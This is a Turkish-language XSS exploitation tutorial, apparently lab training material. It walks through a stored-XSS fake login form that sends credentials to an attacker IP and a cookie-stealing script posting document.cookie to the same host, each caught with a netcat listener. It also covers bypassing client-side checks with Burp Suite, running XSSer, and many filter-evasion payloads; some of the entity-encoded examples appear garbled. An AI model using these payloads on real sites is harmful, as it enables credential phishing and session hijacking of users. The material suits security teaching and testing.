Bir web sayfası üzerinde Stored XSS zafiyeti olması durumunda, saldırganlar bu zafiyeti kullanıcıların kimlik bilgilerini almak için kullanabilirler. XSS zafiyetini tetikleyebilen bir saldırgan, web sitesine özel hazırladığı zararlı kodu web sayfasına yerleştirerek, kimlik bilgileri elde etmek üzere kullanıcıları kandırabilir. Stored XSS zafiyeti, kullanıcı girdilerinin kontrol edilmeden alınıp, bu girdilerin doğrudan veritabanına kaydedilmesi sonucunda oluşabilir. Eğer veritabanı kayıtları web sayfasına yansıtılıyorsa, bir ziyaretçi sayfaya her girdiğinde veritabanına eklenen XSS payload’ı ile karşılaşacaktır.
Bu nedenle saldırganlar, kullanıcılardan girdi almak amacıyla zararlı bir payload oluşturarak, bu payload ile web sitesine istek yapabilirler. Payload’ın veritabanına kaydedilmesi durumunda, sayfaya erişim sağlayan tüm kullanıcılar zararlı payload’dan kaynaklanan sahte girdi alanı ile karşılaşabilirler ve saldırganın istediği bilgileri girerek bu bilgileri saldırgana gönderebilirler. Aşağıda XSS zafiyetinden yararlanan bir saldırganın, kullanıcılara ait kimlik bilgilerini nasıl alabileceğine dair bir örnek bulunmaktadır. Resim 4.1.1’de kullanıcı girdilerini alıp doğrudan veritabanına kaydeden bir yorum sayfası yer almaktadır.
Bu sayfanın önüne gelen ve kullanıcılardan kullanıcı adı ve parola bilgisi alan bir payload oluşturularak, bu payload yorum alanına girilebilir ve Send butonuna tıklanarak payload’un yorum olarak kaydedilmesi sağlanabilir. Aşağıdaki tabloda, kimlik bilgisi yakalama amacıyla kullanılabilecek bir payload yer almaktadır.
<div style="position: absolute; left: 0px; top: 0px; background-color:#0000ff;width: 1900px; height: 1300px;"><h2>Login</h2> <br><form name="login" action="http://192.100.0.19:8080/login.htm"> <table><tr><td>Username:</td><td><input type="text" name="username"/></td></tr><tr><td>Password:</td> <td><input type="password" name="password"/></td></tr><tr> <td colspan=2 align=center><input type="submit" value="Login"/></td></tr> </table></form>
Bu payload, kullanıcı adı ve parola isteyen bir girdi alanının, sayfanın üst kısmına gelmesini sağlar ve kullanıcı girdilerini 192.100.0.19 numaralı adresin 8080 portuna gönderir. Zafiyetten yararlanabilmek için ilk olarak, tabloda yer alan payload yorum alanına yazılarak istek yapılmalıdır. Resim 4.1.2’de payload’ın yorum alanına yazılması ile yapılacak olan istek yer almaktadır.
XSS payload’ı yorum alanına girilerek istek yapıldı. Resim 4.1.3’te yapılan yorum sonrası sayfaya yapılan istek sonucunda gelen görüntü yer almaktadır.
Yorum olarak gönderilen payload veritabanına kaydedildi ve Stored XSS zafiyeti nedeniyle çalışan payload, sayfaya erişen her kullanıcının kullanıcı adı ve parola girmesi gereken bir hal aldı. Kullanıcı girdilerini almak için 192.100.0.19 IP adresli saldırgan makinenin 8080 portu üzerinden dinleme işlemi yapılmalıdır. Dinleme işlemini başlatmak için netcat aracı kullanılabilir. Resim 4.1.4’te netcat ile başlatılan dinleme işlemi yer almaktadır.
Dinleme işleminin başlatılması sonucunda, kullanıcıların girdi alanını doldurarak istek yapmaları sonucunda, kullanıcı adı ve parola bilgileri 8080 portu üzerinden saldırgan makineye gelecektir. Resim 4.1.5’de istek yapılmadan önce zararlı sayfaya girilen bilgiler yer almaktadır.
Resim 4.1.6’da saldırgan makinenin 8080 portuna gelen istek yer almaktadır.
Cookie Yakalama
Bir web sayfası üzerinde Stored XSS zafiyeti olması durumunda, saldırganlar bu zafiyeti oturum açmış kullanıcıların çerez bilgilerini almak için kullanabilirler. Stored XSS zafiyetinden yararlanan bir saldırgan, özel olarak hazırladığı payload’ı web sitesine yerleştirerek sayfaya istek yapan oturum açmış kullanıcıların çerez bilgilerini elde edebilir. Böylece saldırgan, ele geçirdiği çerezleri kullanarak, oturum açmış olan kullanıcılar üzerinden işlemler yapabilir. Resim 4.2.1’de kullanıcı yorumunu alıp doğrudan veritabanına kaydeden bir yorum sayfası yer almaktadır.
Aşağıda kullanıcılara ait cookie bilgisini alan ve 192.100.0.19 adresli saldırgan makinenin 8080 portuna gönderen zararlı bir payload bulunmaktadır.
<script>new Image().src="http://192.100.0.19:8080?output="+document.cookie;</script>
Bu payload kullanılarak web sayfası üzerinde yorum yapılabilir ve zararlı kodu kullanıcıların cookie bilgilerini almak üzere web sayfasına yerleştirebilir. Resim 4.2.2’de payload’ın yorum alanına yazılması ile yapılacak olan istek yer almaktadır.
Yapılan istek sonucunda zararlı payload web sayfasına yerleşti. Saldırgan makine tarafından 8080 portu üzerinde dinleme işlemi başlatılması sonucunda, kullanıcıların yaptıkları her istekte cookie bilgisi saldırgana gidecektir. Resim 4.2.3’te netcat ile başlatılan dinleme işlemi yer almaktadır.
Sayfaya bir kullanıcının istek yapması sonucunda o kullanıcıya ait cookie bilgisi elde edildi. Resim 4.2.4’de elde edilen cookie bilgisi yer almaktadır.
Burp Suite ile XSS Zafiyetinin Tetiklenmesi
Geliştiriciler güvenlik zafiyetlerini engellemek amacıyla bazı önlemler alabilirler. Böylece saldırganlar tarafından girdi alanlarına yazılan zararlı kodlar, alınan güvenlik önlemi nedeniyle sonuç vermeyebilir. Ancak alınan bazı önlemler, saldırganlara engel olmak için yetersiz kalabilir. Örneğin, kullanıcı girdilerini JavaScript gibi bir dille sadece istemci taraflı kontrol etmek, saldırganların bu önlemleri atlatarak, zararlı kodları sunucuya iletmesine engel olamayabilir. Bunun için güvenlik önlemlerini atlatmak isteyen bir saldırgan, bir proxy uygulaması kullanılarak, istemci taraflı kontrolden geçen isteği yakalayabilir ve bu isteği manipüle ederek sunucuya gönderebilir.
BurpSuite, PortSwigger ekibi tarafından geliştirilen ve içerisinde güvenlik testleri yapmak amacıyla modüller barındıran bir araçtır. Burp Suite, giden istekleri yakalamak amacıyla Proxy özelliği sunmaktadır. Resim 4.3.1’ de, giriş işleminin hatalı olması durumunda kullanıcı adını hata mesajı içerisine yazan bir sayfanın kaynak kodları yer almaktadır.
Resim 4.3.1’de yer alan JavaScript kodu, “username” adlı metin kutusuna girilen değeri alarak, bu değer içerisinde XSS saldırısına neden olabilecek karakterleri encode etmektedir. Resim 4.3.2’de “username” alanına girilen JavaScript kodu ve yapılan istek sonrası alınan sonuç yer almaktadır.
Resim 4.3.3’de ise alınan bu sonucun kaynak kodlara nasıl yansıdığına dair bir görsel yer almaktadır.
Alınan sonuca göre, sayfanın geliştirici tarafından önlem alınarak kodlanması nedeniyle XSS zafiyeti engellendi. Ancak alınan bu önlem JavaScript ile yazılan bir fonksiyon ile sağlanmıştır. Dolayısıyla encoding işlemi kullanıcı taraflı yapılacaktır ve istek kullanıcı taraflı kontrolden geçtikten sonra sunucuya gönderilecektir. Bu nedenle Burp Suite aracının proxy özelliği kullanılarak giden isteğin yakalanması durumunda, JavaScript kontrolünden geçen istek manipüle edilebilir. Eğer sunucu tarafında farklı bir kontrol yapılmıyorsa, JavaScript kontrolü atlatılarak XSS zafiyeti tetiklenebilir. Resim 4.3.4’te “username” alanına <script>alert(1)</script> kodunun girilmesi sonucunda yapılan isteğin proxy özelliği ile yakalandığı görsel yer almaktadır.
Username parametresine atanan JavaScript kodu, JavaScript kontrolünden geçerek encode edildi. Bu değer yeniden manipüle edilerek, istek sunucuya yönlendirilebilir.
Yapılan istek manipüle edildi ve sunucu taraflı bir kontrol yapılmadığı için JavaScript kodunun çalışması sonucunda XSS zafiyeti tetiklendi. Resim 4.3.6’ da XSS zafiyetinin tetiklenmesi sonrasında alınan sonuç yer almaktadır.
XSSER
XSSer, bir web uygulamasında bulunan XSS güvenlik zafiyetlerini tespit eden ve bu zafiyetlerden yararlanmak için otomatize seçenekler sunan bir framework’tür. XSSer, XSS saldırı ve fuzzing vektörlerine sahiptir. Böylece XSSer ile, filtrelenmiş web uygulamaları ve Web Uygulama Güvenlik Duvarları (WAF) atlatılabilir. XSSer framework, aşağıdaki komut kullanılarak GitHub deposundan indirilebilir.
git clone https://github.com/epsylon/xsser
Resim 4.4.1’de PriviaHub platformunda bulunan bir XSS örneği yer almaktadır.
XSS güvenlik zafiyeti giriş parametrelerine bağlıdır. Dolayısıyla XSSer parametreler üzerinde çalışır. Belirtilen örnek, kullanıcıdan alınan girdileri GET metodu ile sunucuya iletir. Bu nedenle username ve password parametreleri URL alanına yerleşir. Eğer XSS zafiyeti oturum açılarak erişilmiş olan bir panel üzerinde tetiklenecekse, bu durumda XSSer ile oturum açmış kullanıcının cookie değeri de belirtilmelidir. Bu özelliklere göre XSSer uygulamasını kullanmak için, XSSer işletim sistemi komut satırında -u ve -g parametreleriyle birlikte çalıştırılmalıdır. -u parametresine URL adresi atanmalıdır. -g parametresi ise GET metodunu ifade eder ve URL adresinde bulunan parametreleri içermelidir. Bu parametrelerden hangisine XSS kodları atanacaksa, o parametreye XSS veya X1S değeri atanmalıdır. Bu değerlerden XSS, XSS zafiyetini tetiklemek için heksadesimal hash; X1S ise desimal hash denemesi yapar. Aşağıda çalıştırılacak olan XSSer komutu yer almaktadır.
python3 xsser -u ‘http://192.200.10.127’ -g ‘/xss/reflected/?username=XSS&password=123&login=Login’
Bu komut çalıştırıldığında, XSSer URL’de yer alan “username” parametresine tüm heksadesimal hash formatında XSS vektörlerini atayarak zafiyet tespit etmeye çalışacaktır. Resim 4.4.2’de XSSer uygulamasından elde edilen sonuç yer almaktadır.
Bu sonuca göre XSS değeri atanan username parametresine XSSer tarafından atanan heksadesimal hash değeri ile yapılan deneme sonucunda, username parametresinde XSS zafiyeti tespit edildi. Resim 4.4.3’te tespit edilen XSS zafiyetine dair görsel yer almaktadır.
XSS Güvenlik Önlemlerinin Atlatılması
XSS zafiyetlerinin engellenmesi için birtakım yöntemler uygulanarak filtreleme işlemleri gerçekleştirilebilir. Filtreleme işlemi, tarayıcı tabanlı veya sunucu tabanlı yapılabilir. Filtreleme işlemindeki ana fikir, kullanıcılar tarafından gelen girdilerde XSS saldırılarına neden olabilecek verilerin kontrol edilmesidir. Filtreleme işlemine yönelik genel yaklaşımlar arasında Regex ve Blacklist kontrolleri yer alır. Bu kontroller sonucunda XSS saldırılarına neden olabilecek girdilerin tespit edilmesi durumunda, tüm istek veya istekte yer alan zararlı kod parçaları engellenebilir. Geliştiricilerin filtreleme işlemlerinde uyguladıkları yöntemler XSS saldırılarına karşı çözüm oluşturmasına rağmen, bu yöntemlerden bazıları atlatılabilir ve XSS saldırıları gerçekleştirilebilir. Aşağıda bazı filtreleme yöntemlerinin atlatılması için kullanılabilecek olan teknikler anlatılmaktadır.
Karakter Kodlama
Kullanıcılar tarafından yapılan isteklerin XSS saldırılarına neden olmaması için kullanıcı girdilerine yönelik metin taramaları yapılabilir. Saldırganlar, web sitelerine yaptıkları isteklerin metin taramasından geçmesi durumunda, bu yöntemi atlatmak için XSS kodunda yer alan bazı karakterleri encode edebilirler ve bu şekilde istek yapabilirler. Örneğin; gelen istekler üzerinde “JavaScript” kelimesinin incelendiği varsayılsın ve XSS zafiyetinin tetiklenmesi için <a href=”javascript:alert(‘PriviaSec’)” >XSS</a> gibi bir payload kullanılsın. Böyle bir durumda “JavaScript” kelimesinin bazı karakterlerine ASCII kodlaması yapılabilir. Örneğin j karakterinin ASCII karşılığı 106 dır. Yapılan istekte j karakteri yerine j kullanılabilir. Böyle bir durumda j bir HTML varlığı olarak algılanır ve j harfini temsil eder. İstek bu şekilde yeniden yapıldığında metin taraması atlatılacağından dolayı XSS zafiyeti tetiklenmiş olur. Resim 4.5.1.1’de kullanıcı girdilerini kontrol eden ve javascript kelimesini silen bir sayfaya <a href=”javascript:alert(‘PriviaSec’)” >XSS</a> ile yapılan istek sonucunda kullanıcıya yansıyan sayfa kaynağı yer almaktadır.
Yapılan istek sonucunda javascript kelimesi silindi. Karakter kodlaması yapılarak bu önlem atlatılabilir. Resim 4.5.1.2’de karakter kodlaması sonucunda alınan önlemin atlatıldığı ve XSS zafiyetinin tetiklendiği görsel yer almaktadır.
Metin taramalarını atlatmak için Base64 kodlamasından da yararlanılabilir. Bu işlem için ilk olarak XSS zafiyetini tetiklemek amacıyla kullanılacak olan payload Base64 algoritmasıyla encode edilir. Ardından encode edilen metin, JavaScript atob() ve eval() fonksiyonları ile birlikte kullanılarak yeniden istek yapılır. atob() fonksiyonuyla encode edilen metin decode edilecektir ve eval() fonksiyonuyla ortaya çıkan metnin bir string olarak algılanması sağlanacaktır. Böylece yapılan kontrol atlatılacak ve XSS zafiyeti tetiklenmiş olacaktır. Örnek payload aşağıda yer almaktadır.
<body onload=”eval(atob(‘YWxlcnQoJ1ByaXZpYVNlYycp’))”>
Resim 4.5.1.3’te kullanıcı girdisinden javascript,script ve alert kelimelerini çıkartan bir web sayfası yer almaktadır.
Bu web sayfasına <body onload=”eval(atob(‘YWxlcnQoJ1ByaXZpYVNlYycp’))”> kodu ile istek yapılarak güvenlik önlemi atlatıldı ve XSS zafiyeti tetiklendi. Resim 4.5.1.4’te yapılan istek sonucunda XSS zafiyetinin tetiklendiği görsel yer almaktadır.
Başka bir filtreleme yöntemi olarak metin taramasıyla beraber ASCII kodlarına yönelik tarama yapılabilir. Böyle bir durumda XSS kodu içerisinde yer alan bazı karakterlere ASCII kodlaması yapılacak olsa bile istek filtreye takılabilir. Ancak kontrolü atlatmak için yine ASCII kodlamasından yararlanılabilir. ASCII kodlamasıyla ortaya çıkan karakter varlıkları 1-7 basamak arasında sayısal değerler alabilirler. Bu sayısal değerin en sol basamaklarında 0 rakamları bulunması durumunda bu rakamlar yok sayılır. Ayrıca karakter varlıklarının sonunda; (noktalı virgül) işareti bulunmayabilir. Örneğin; a ve a ifadeleri aynı anlama gelmektedir. Dolayısıyla XSS zafiyetinin tetiklenmesi için kullanılacak olan payload içerisinde yer alan bir metnin (örn: alert) karakterleri belirtilen şekilde kodlanabilir ve bu yöntemle filtre atlatılarak XSS zafiyeti tetiklenebilir. Örnek payload aşağıda yer almaktadır:
<a href="javascript:alert('PriviaSec') ">XSS</a>
Resim 4.5.1.5’te <a href=”javascript:alert(‘PriviaSec’) “>XSS</a> kodunun denenmesi sonucunda HTML nümerik sayıları silen bir web sayfasının kaynağı yer almaktadır.
Nümerik ifadelerin başına “0” rakamı eklendi ve istek tekrarlandı. Yapılan istek sonucunda XSS zafiyeti tetiklendi. Resim 4.5.1.6’da XSS zafiyetinin tetiklendiği görsel yer almaktadır.
Bazı geliştiriciler gelen istekte yer alan zararlı kodların tüm harflerini büyük harfe çevirebilirler. Örneğin; <script>alert(1)</script> gibi örnek bir kodun bu filtreden geçmesi durumunda, kod <SCRIPT>ALERT(1)</SCRIPT> halini alır. Bu durumda kod bir işe yaramayacaktır. Çünkü, JavaScript büyük-küçük harfe duyarlı (case sensitive) bir dil olduğu için karakterleri büyük harfe dönüşen alert() fonksiyonu çalışmayacaktır. Dolayısıyla alert kelimesinin tüm karakterleri ASCII kodlamasından geçirilebilir ve filtre atlatılabilir. Örnek payload aşağıda yer almaktadır:
<SCRIPT> alert(1) </SCRIPT>
Resim 4.5.1.7’de kullanıcı adı alanına girilen metnin tüm karakterlerini büyük harfe çevirerek uyarı mesajına yansıtan bir sayfa yer almaktadır.
Kullanıcı adı alanına <SCRIPT>alert(1) </SCRIPT> kodu girildi ve istek tekrarlandı. Yapılan istek sonucunda XSS zafiyeti için alınan güvenlik önlemi atlatıldı. Resim 4.5.1.8’de XSS güvenlik önleminin atlatıldığı ekran görüntüsü yer almaktadır.
JavaScript komutları çalıştırmak için Unicode kodlamadan da yararlanılabilir. Böylece metin taraması ve ASCII kod taraması gibi filtreleme yöntemleri uygulanan web sayfalarına yönelik XSS saldırıları gerçekleştirilebilir. Örnek payload aşağıda yer almaktadır.
<script>\u0061\u006cert(1)</script>
Resim 4.5.1.9’da “alert” kelimesini kullanıcı girdilerinden silen bir web sayfası yer almaktadır.
<script>\u0061\u006cert(1)</script> kodu kullanılarak sayfaya yeniden istek yapıldı ve zafiyet tetiklendi. Resim 4.5.1.10’da XSS güvenlik önleminin atlatıldığı ekran görüntüsü yer almaktadır.
HTML Etiketlerinin Manipüle Edilmesi
Saldırganların XSS saldırıları gerçekleştirmek için HTML etiketlerinden yararlanmalarına engel olmak adına, kullanıcılar tarafından yapılan isteklerde yer alan HTML etiketlerine ve etiket isimlerine göre filtreleme yapılabilir.
Bir filtreleme yöntemi olarak, yapılan isteklerde <script> etiketi olup olmadığına yönelik tarama yapılabilir ve ifadenin bulunması durumunda tespit edilen etiketler isteğin içerisinden silinebilir. Bu yöntemi atlatmak için ikiye ayrılmış bir <script> (örn: <scr ve ipt>) etiketinin arasına 2. bir <script> etiketi yerleştirilerek yeniden istek yapılabilir. Bu durumda araya yerleştirilen etiketin tespit edilip silinmesi durumunda ikiye ayrılmış olan etiket yeniden birleşir ve XSS zafiyeti tetiklenmiş olur. Örnek payload aşağıda yer almaktadır:
<scr<script>ipt>alert(“privia_security”)</scr</script>ipt>
Resim 4.5.2.1’de <script> etiketini kullanıcı girdilerinden silen bir web sayfası yer almaktadır.
<scr<script>ipt>alert(“PriviaHub”)</scr</script>ipt> kodu kullanılarak sayfaya yeniden istek yapıldı ve zafiyet tetiklendi. Resim 4.5.2.2’de XSS güvenlik önleminin atlatıldığı ekran görüntüsü yer almaktadır.
İkinci bir yöntem olarak etiket tespiti yapmak için etiket adı ve özellik adı arasında bulunan boşluk karakterleri kontrol edilebilir. Bu filtreyi atlatmak için / işareti kullanılabilir. Etiket adı ve özellikler boşluk karakteriyle ayrıldığı gibi eğik çizgi kullanılarak da ayrılabilir. Örnek payload aşağıda yer almaktadır:
<img/src=”logo.jpg”onload= javascript:eval (alert(‘PriviaSec’))>
Resim 4.5.2.3’te kullanıcı girdilerinde bulunan boşluk karakterlerini silen bir web sayfası yer almaktadır.
<img/src=”x”/onerror=”alert(‘PriviaHub’)”> kodu kullanılarak sayfaya yeniden istek yapıldı ve zafiyet tetiklendi. Resim 4.5.2.4’te XSS güvenlik önleminin atlatıldığı ekran görüntüsü yer almaktadır.
Bir başka atlatma yöntemi, etiket isimlerinin büyük-küçük harf karışık bir şekilde kullanılmasıdır. HTML büyük-küçük harfe duyarlı bir dil değildir. Dolayısıyla metin taramalarında büyük-küçük harfe önem verilmemesi durumunda saldırganlar zafiyeti tetiklemek için etiket adının harflerini büyük-küçük harf karışık bir şekilde yazabilirler. Örnek payload aşağıda yer almaktadır:
<ScRipT>alert(1)</sCriPt>
Resim 4.5.2.5’te script kelimesinin kontrol edildiği bir web sayfası yer almaktadır.
<ScRipT>alert(1)</sCriPt> kodu kullanılarak sayfaya yeniden istek yapıldı ve zafiyet tetiklendi. Resim 4.5.2.6’da XSS güvenlik önleminin atlatıldığı ekran görüntüsü yer almaktadır.
Kullanıcı girdilerine yönelik yapılan etiket kontrolünde, bir etiket tespit edilmesi durumunda bu etiket istekten silinebilir ve girdinin geri kalanı için kontrol yapılmadan girdinin geri kalanı kabul edilebilir. Böyle durumlarda saldırganlar yaptıkları isteklerde birden fazla etiket kullanarak XSS zafiyetini tetikleyebilirler. Örnek payload aşağıda yer almaktadır:
<input type=”text” name=”textBox” value=””><script>alert(1)</script>
Resim 4.5.2.7’de kullanıcı girdilerinde bulunan etiketleri silen bir sayfa yer almaktadır.
<img src=”x” onerror=”alert(‘PriviaHub’)”><script>alert(1)</script> kodu kullanılarak sayfaya yeniden istek yapıldı ve zafiyet tetiklendi. Resim 4.5.2.8’de XSS güvenlik önleminin atlatıldığı ekran görüntüsü yer almaktadır.